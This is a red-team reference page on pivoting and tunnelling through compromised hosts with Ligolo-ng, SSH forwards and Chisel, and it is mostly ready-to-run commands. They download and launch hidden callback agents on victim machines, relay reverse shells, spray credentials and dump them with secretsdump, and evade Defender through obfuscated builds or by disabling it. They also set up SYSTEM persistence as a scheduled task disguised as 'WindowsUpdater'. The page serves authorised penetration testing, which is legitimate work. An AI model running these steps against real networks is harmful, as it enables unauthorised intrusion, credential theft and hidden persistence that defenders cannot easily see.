Skip to Content
Red Teaming05-Lateral-MovementPivoting & Tunneling

Pivoting & Tunneling

ComponentRuns onPurpose
proxyAttackerThe proxy manages the TUN interface, routes, and sessions.
agentPivot hostThe agent connects to the proxy over TLS. The agent forwards traffic.

Cheatsheet

Ligolo-ng (primary)

# Download latest proxy + agents from https://github.com/nicocha30/ligolo-ng/releases # Attack box: create TUN (once per session) sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up # Ligolo-ng >= 0.6 (from the proxy shell): # ligolo-ng » interface_create --name ligolo # Attack box: start proxy ./proxy -selfcert -laddr 0.0.0.0:11601 # Prefer fingerprint in real engagements (print from proxy shell): # ligolo-ng » certificate_fingerprint # Pivot: connect agent back to attack box ./agent -connect <LHOST>:11601 -ignore-cert nohup ./agent -connect <LHOST>:11601 -ignore-cert >/dev/null 2>&1 & # survives logout # ./agent -connect <LHOST>:11601 -accept-fingerprint <FINGERPRINT> # In ligolo-ng shell after agent joins # session #autoroute (autorouting) # ifconfig # tunnel_start --tun ligolo # autoroute # interface_add_route --name ligolo --route <SUBNET>/24 # >= 0.6 # Attack box route (if not using interface_add_route / autoroute) sudo ip route add <SUBNET>/24 dev ligolo # Native tools through the TUN. Do not use proxychains. nmap -sT -Pn -p 22,80,135,139,445,3389 <SUBNET>/24 nxc smb <SUBNET>/24 -u <USER> -p <PASS> evil-winrm -i <INTERNAL_IP> -u <USER> -p '<PASS>' # Double pivot: listener on hop1 relays second agent to your proxy # [Agent : pivot1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp # On pivot2: agent -connect <PIVOT1_IP>:11601 -ignore-cert # Receive reverse shells from hosts that can reach only the pivot # [Agent : pivot] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp # listener_list / listener_del --id <ID> # older: listener_stop <ID> # Cleanup on attack box sudo ip route del <SUBNET>/24 dev ligolo sudo ip link set ligolo down sudo ip tuntap del mode tun ligolo
# Windows pivot : run agent (hidden) Start-Process -WindowStyle Hidden -FilePath "C:\Users\Public\agent.exe" ` -ArgumentList "-connect <LHOST>:11601 -ignore-cert"

Fallback: SSH dynamic / local / remote forward

# Dynamic SOCKS then proxychains ssh -D 9050 <USER>@<TARGET_IP> # /etc/proxychains.conf -> socks5 127.0.0.1 9050 proxychains nmap -sT -Pn -p445,3389 <INTERNAL_IP> # Local forward: bring pivot's localhost service to attack box ssh -L 1234:localhost:3306 <USER>@<TARGET_IP> # Remote forward: receive a reverse shell from an internal host through the pivot ssh -R 8080:localhost:<LPORT> <USER>@<TARGET_IP> # Payload LHOST = pivot internal IP, LPORT = 8080 # Multi-hop when you already have keys sshuttle -r <USER>@<TARGET_IP> <SUBNET>/24

Fallback: Chisel SOCKS

# Attack box listens (egress from pivot often easier) ./chisel server --reverse -p 1234 --socks5 # Pivot connects reverse SOCKS ./chisel client <LHOST>:1234 R:socks # proxychains.conf -> socks5 127.0.0.1 1080

Methodology

Phase 0: Orientation : is this a pivot?

?

Ask yourself

  • How many NICs does this foothold have? Which subnets connect to those NICs?
  • What does the routing table say I can reach that my attack box cannot?
  • Can this host send traffic to <LHOST> on a usable port (11601, 443, 80, 22)?
  • Do I have enough privilege to copy a binary? Can I keep a process running?
  • Is Ligolo-ng viable? Or am I limited to SSH only, or to no binary?
  • What evidence do I need before I add routes (subnet, gateway, dual-home proof)?
# Linux foothold who / where / reachability id; hostname; cat /etc/os-release ip -br a; ip route; cat /etc/resolv.conf ss -tulnp 2>/dev/null || netstat -tulnp # Windows foothold # whoami /all # ipconfig /all # route print # netstat -ano
  • Confirm identity and privilege on the foothold (id / whoami /all).
  • List NICs. Note every non-loopback subnet (ip a / ipconfig /all).
  • Read the routing table. Document the internal ranges you can reach.
  • Test traffic from the pivot to <LHOST> (common ports: 443, 80, 11601, 22).
  • Choose a path: Ligolo-ng (binary and egress) → Phase 1. SSH only → Phase 5. No binary or unusual egress → Chisel or SSH remote forward.
  • Draw the topology (attack box → pivot → internal) before you start a tunnel.

Phase 1: Start the Ligolo-ng proxy

?

Ask yourself

  • Do I have matching proxy and agent binaries for the pivot OS and architecture (Linux or Windows, AMD64 or ARM)?
  • Does the proxy listen on an interface and port that the pivot can reach?
  • Do I use -selfcert (labs) or a real certificate / fingerprint (engagements)?
  • Does the TUN interface exist before I expect traffic to flow?
  • Will another process use port 11601?
  • Which file-transfer method will copy the agent to the pivot?
# Proxy on attack box ./proxy -selfcert -laddr 0.0.0.0:11601 # Print fingerprint for agent pinning (engagements) # ligolo-ng » certificate_fingerprint # TUN pick one approach sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up # OR (>= 0.6 inside proxy shell): interface_create --name ligolo ip addr show ligolo # present, no IP yet # OR # ligolo-ng » autoroute
  • Download matching proxy and agent builds for the pivot OS and architecture.
  • Create the ligolo TUN interface and start it. Confirm with ip addr show ligolo.
  • Start ./proxy -selfcert -laddr 0.0.0.0:11601 (or -certfile / -keyfile in production-like labs).
  • Record the TLS fingerprint if the agent does not use -ignore-cert.
  • Leave the ligolo-ng » shell open. You manage sessions in this shell.
  • If bind fails (address already in use), stop the old proxy or change -laddr.

Phase 2: Deploy the agent and open the tunnel

?

Ask yourself

  • Which transfer method matches this foothold and OPSEC budget?
  • On Windows, will Defender flag the stock binary? Do I need garble, an exclusion, or a C2 load?
  • Did the agent join (Agent joined)? Or did it stop with no message (AV, path, egress)?
  • Should the agent run in the foreground (debug) or in the background (continues after logout)?
  • Which agent interface is the internal path I need?
  • Did I add the route before I expect tools to work?
  • Do I use -sT -Pn for nmap through the TUN? SYN scans fail through the TUN.
# Serve agent from attack box cd ~/tools/ligolo && python3 -m http.server 8000 # Linux pivot wget http://<LHOST>:8000/agent -O /tmp/agent && chmod +x /tmp/agent nohup /tmp/agent -connect <LHOST>:11601 -ignore-cert >/dev/null 2>&1 &
# Windows pivot. Defender often flags stock agent.exe iwr http://<LHOST>:8000/agent.exe -OutFile C:\Users\Public\agent.exe # Older Windows: # certutil -urlcache -f http://<LHOST>:8000/agent.exe C:\Users\Public\agent.exe C:\Users\Public\agent.exe -connect <LHOST>:11601 -ignore-cert # Hidden (no console): # Start-Process -WindowStyle Hidden -FilePath "C:\Users\Public\agent.exe" ` # -ArgumentList "-connect <LHOST>:11601 -ignore-cert"
# ligolo-ng shell workflow ligolo-ng » session [Agent] » ifconfig [Agent] » tunnel_start --tun ligolo # older builds: start # route (>= 0.6): ligolo-ng » interface_add_route --name ligolo --route <SUBNET>/24 # or manual: # sudo ip route add <SUBNET>/24 dev ligolo
  • Copy the matching agent binary to the pivot (file transfers).
  • On Windows: decide Defender exclusion, rebuild with garble, or load via C2 (depends on RoE).
  • Start the agent with target <LHOST>:11601. Confirm Agent joined in the proxy.
  • Prefer background (nohup / hidden Start-Process) so the agent continues after logout.
  • Select the session. Run ifconfig. Identify the internal subnet(s).
  • Add a route for each internal subnet on the ligolo interface.
  • Run tunnel_start --tun ligolo (or start on older builds).
  • Test one host (nmap -sT -Pn -p <PORT> <INTERNAL_IP>). Then scan a wider range.

The Ligolo-ng TUN does not support -sS (SYN scan). Always use -sT (full TCP connect) and -Pn (skip ICMP) when you run nmap through the tunnel.

Phase 3: Enumerate and operate through the pivot

?

Ask yourself

  • Which hosts on the new subnet respond? Which services matter for the objective?
  • Can I reuse credentials that I already collected against these hosts?
  • Does DNS resolve internal names? Or must I use IPs / --dns-servers?
  • Which findings create a second hop (another dual-homed host)?
  • Do I log every route, listener, and command for the report?
# Host/service discovery through TUN nmap -sT -Pn -p 22,80,88,135,139,445,389,636,3389,5985 <SUBNET>/24 # Cred reuse / AD surface nxc smb <SUBNET>/24 -u <USER> -p <PASS> --shares nxc winrm <INTERNAL_IP> -u <USER> -p <PASS> evil-winrm -i <INTERNAL_IP> -u <USER> -p '<PASS>' impacket-secretsdump '<DOMAIN>/<USER>:<PASS>@<INTERNAL_IP>'
  • Map live hosts and high-value ports on the new subnet.
  • Reuse or spray known credentials before brute force. Record every valid authentication for later hosts.
  • Prefer IPs if internal DNS fails. Else use nmap --dns-servers <INTERNAL_DNS>.
  • Treat every new dual-homed host as a candidate for Phase 4.
  • Capture screenshots or output of the live tunnel and the first successful internal connection. Use this for reporting.

Phase 4: Double pivot and reverse listeners

?

Ask yourself

  • Can hop1 reach hop2? Can hop2 reach the deeper subnet I need?
  • Must hop2’s agent connect to hop1’s listener, not directly to Kali?
  • Do I need a listener for second agents, for reverse shells, or both?
  • Is there a simpler path (credential reuse, RDP, WinRM) that avoids a double pivot?
  • Did I add the new route after the second session is live?
# Hop1 already tunneled. Relay proxy port through hop1: [Agent : pivot1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp # Hop2 agent connects to pivot1, not to Kali # ./agent -connect <PIVOT1_IP>:11601 -ignore-cert # Switch session → ifconfig → route deep subnet → tunnel_start # listener_list / listener_del --id <ID> # Receive a reverse shell: internal host → pivot:4444 → Kali:4444 # [Agent : pivot] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
  • Confirm hop1 can open a TCP connection to hop2 on the agent port you choose.
  • Run listener_add on hop1. Forward traffic to local proxy port 11601.
  • Copy the agent to hop2 through the existing tunnel. Run it with target <PIVOT1_IP>:<LISTEN_PORT>.
  • Select the new session. Add the deep subnet route. Start that tunnel.
  • For reverse shells from hosts that only reach the pivot, add a listener to <LPORT> on Kali.
  • Remove dead listeners (listener_listlistener_del) so ports do not conflict.

Phase 5: Fallbacks when Ligolo-ng is not an option

?

Ask yourself

  • Is SSH available with a usable account? Are dynamic, local, or remote forwards enough?
  • Can the pivot send outbound HTTP for a Chisel reverse SOCKS when it cannot receive inbound traffic?
  • Am I limited to proxychains (-sT only)? Do I accept the speed and noise trade-off?
  • Do I need a full subnet route, or only one -L / -R forward for a single service?
# SSH dynamic SOCKS ssh -D 9050 <USER>@<TARGET_IP> proxychains nmap -sT -Pn -p445 <INTERNAL_IP> # SSH local forward (one service) ssh -L 1234:localhost:3306 <USER>@<TARGET_IP> # SSH remote forward (callback via pivot) ssh -R 8080:localhost:<LPORT> <USER>@<TARGET_IP> # Chisel reverse SOCKS (pivot egress to you) ./chisel server --reverse -p 1234 --socks5 # on <LHOST> ./chisel client <LHOST>:1234 R:socks # on pivot # proxychains.conf: socks5 127.0.0.1 1080
  • Prefer the smallest forward that meets the objective. A single -L is enough when you only need MySQL.
  • For subnet-wide access without Ligolo, use SSH -D or Chisel R:socks with proxychains.
  • Proxychains requires full-connect scans (nmap -sT -Pn). Do not use half-open SYN scans.
  • If SSH and binary copies both fail, reassess the foothold (web-shell limits, AppLocker, no egress).

Phase 6: Cleanup

?

Ask yourself

  • Did I remove all agent binaries from compromised hosts?
  • Did I remove all routes and TUN interfaces on my attacker box?
  • Did I stop background agent processes on every pivot?
  • Did I document the subnets, sessions, and routes used for the report?
# On Kali remove routes and TUN sudo ip route del <SUBNET>/24 dev ligolo sudo ip link set ligolo down sudo ip tuntap del mode tun ligolo
  • Stop agent processes on all pivot hosts.
  • Remove agent binaries from all pivot hosts.
  • Remove routes on the attacker box. Remove the TUN interface.
  • Remove any scheduled tasks or persistence created for the agent.
  • Document the pivot chain, the subnets you reached, and the evidence you gathered.

How It Works

Pivoting uses a host that sits on both sides of a network boundary. That host is a dual-homed jump host, also called a beachhead. You send traffic through that host to reach the other side.

Tunneling wraps your tool traffic inside a protocol that the pivot already uses. Ligolo uses TLS. SSH uses SSH. Chisel uses HTTP.

Lateral movement is the next step: you authenticate to the hosts you can now reach. Pivoting only creates the path.

Ligolo-ng creates a TLS tunnel between the agent on the pivot and the proxy on the attacker. The proxy exposes a TUN device. When you add a subnet route to that TUN, the kernel sends packets into the TUN. The proxy encapsulates the packets over TLS. The agent forwards the packets onto the internal network. Return traffic follows the same path in reverse.

This is why Ligolo is usually faster and has less friction than SOCKS-based tools. Every TCP or UDP application uses normal sockets. You do not wrap each application.

SSH -D creates a SOCKS listener on the attack box. Applications must speak SOCKS, or you force them through proxychains. SSH -L and -R map individual ports. Chisel carries a SOCKS channel over HTTP-like framing. Use Chisel when the pivot can send only outbound HTTP.

Reference

Ligolo-ng decision matrix

SituationAction
Dual-homed Linux or Windows, binary OK, egress to youLigolo-ng TUN and route
Need a second hop behind the first pivotlistener_add on hop1 → agent on hop2
Internal host can reach only the pivot, not KaliListener on pivot → Kali <LPORT>
SSH credentials only, no binary copyssh -D / -L / -R / sshuttle
Inbound to pivot blocked, outbound HTTP OKChisel server --reverse + R:socks
One localhost service on the pivotssh -L or Ligolo listener and not a full TUN

Ligolo-ng troubleshooting

ProblemLikely causeFix
Cannot find device "ligolo"TUN missingip tuntap add / interface_create
Tunnel is up. There is no traffic.Route missingip route add <SUBNET> dev ligolo or interface_add_route
nmap all filtered-sS through TUNUse -sT -Pn
Agent stops on logoutForeground processnohup / tmux / hidden Start-Process
Defender stops agent.exeSignatureRebuild with garble. Confirm RoE for exclusions.
Slow throughputMTU mismatchAdd -mtu 1500 to agent
bind: address already in useStale proxypkill proxy or change port
DNS names failResolver not pivotedUse IPs or --dns-servers <INTERNAL_DNS>

Windows agent AV / OPSEC

Defender often flags the stock agent.exe. Options, in increasing OPSEC cost:

MethodAccess requiredNotes
Lab/CTF Defender offNoneN/A
Add-MpPreference -ExclusionPathLocal adminLogged. May alert SOC.
Set-MpPreference -DisableRealtimeMonitoring $trueLocal adminHighly visible last resort
Build from source with garbleBuild environmentEvades static signatures
Reflective loader / C2 injectionExisting C2Best OPSEC
# Custom Windows agent build (engagement OPSEC) git clone https://github.com/nicocha30/ligolo-ng cd ligolo-ng go install mvdan.cc/garble@latest GOOS=windows GOARCH=amd64 garble -literals -tiny build -o agent.exe ./cmd/agent

Engagement persistence (Windows)

Register the agent as a scheduled task only when RoE allows persistence:

schtasks /create /tn "WindowsUpdater" /tr "C:\Users\Public\agent.exe -connect <LHOST>:11601 -ignore-cert" /sc onstart /ru SYSTEM /f

Use persistence only within scope and Rules of Engagement. Remove all persistence artifacts during cleanup.

Nmap through Ligolo-ng

nmap -sT -Pn -p <PORTS> <TARGET_IP> # -sT full TCP connect (required) # -Pn skip host discovery (ICMP unreliable through TUN) # --dns-servers <INTERNAL_DNS_IP> when you need internal name resolution

SSH quick patterns

GoalCommand shape
Local service to Kalissh -L <LPORT>:localhost:<RPORT> user@pivot
Dynamic SOCKSssh -D 9050 user@pivot
Receive a shell through the pivotssh -R <PIVOT_PORT>:localhost:<LPORT> user@pivot
Whole subnet (Linux pivot)sshuttle -r user@pivot <SUBNET>/24

Chisel reverse SOCKS (when you cannot start Ligolo)

Run the server on the attack box with --reverse. The pivot connects outbound. Point proxychains at 127.0.0.1:1080. Use -sT -Pn, as you do with SSH SOCKS.

#Pivoting #Tunneling #Ligolo-ng #Lateral-Movement

Last updated on